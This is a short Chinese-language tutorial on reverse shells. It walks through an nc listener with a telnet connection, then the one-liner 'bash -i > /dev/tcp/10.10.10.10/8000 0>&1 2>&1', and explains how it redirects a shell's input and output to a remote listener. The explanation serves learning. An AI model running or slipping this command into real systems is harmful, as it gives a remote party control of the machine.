反向shell实操

实验一:
A机器传递信息到B机器:
测试环境macOS 10.15
1、A用nc命令 listen本机一个端口号

nc -l 8000

2、B 用telnet命令 去连接A机器的ip和端口号

telnet ipA 8000

3、显示连接成功后,B机器可以输入文本,文本会传输到A机器上。实现B-》A的信息传输

telnet的退出 ctrl+]

实验二:
反向shell,A机器控制B机器
一种方式是ssh 登录到B机器上,这种属于正向Shell,A主动连接B,然后控制B;
另一种方式:方向shell,B主动连接A,然后A控制B。
测试环境macOS 10.15
1、A用nc命令 listen本机一个端口号

nc -l 8000

2、B机器执行

bash -i > /dev/tcp/10.10.10.10/8000 0>&1 2>&1

bash -i 意思是打开一个交互式的shell
bash -i > 指的是交互shell的输出 输出到/dev/tcp/10.10.10.10/8000
linux中一切皆是文件,这里其实是一个设备文件,指向了另一台机器。
0>&1 2>&1 指的是标准输入 和标准输出一样的位置,错误输出到和标准输出一样的位置。0 指的是标准输入,2 指的是错误输出,1指的是标准输出。

我们知道LINUX下有三种文件描述符:

  • 标准输入:standard input 0 (默认设备键盘)
  • 标准输出:standard output 1(默认设备显示器)
  • 错误输出:error output 2(默认设备显示器)

这里相当于重定向位置了。相当于打开了一个shell,然后这个shell所有的输入、输出、错误输出都到那个文件。
这个原理就是反向shell。

3、A机器此时就获得了 B机器打开的shell的输入 输出和错误输出,并且拥有打开这个shell的B机器用户的所有权限。
可以测试pwd命令,vi命令,ls命令等等,都能在A机器获得反馈。
相当于A控制了B机器。
整个过程是:A机器listen一个端口号,B连接A机器的端口号,那么A就能控制B机器。很多漏洞都用了这种核心去控制机器,想办法让对方机器执行命令bash -i > /dev/tcp/10.10.10.10/8000 0>&1 2>&1,填写机器的ip和端口号。

参考:反向shell

你可能感兴趣的:(linux,运维,反向shell,安全漏洞)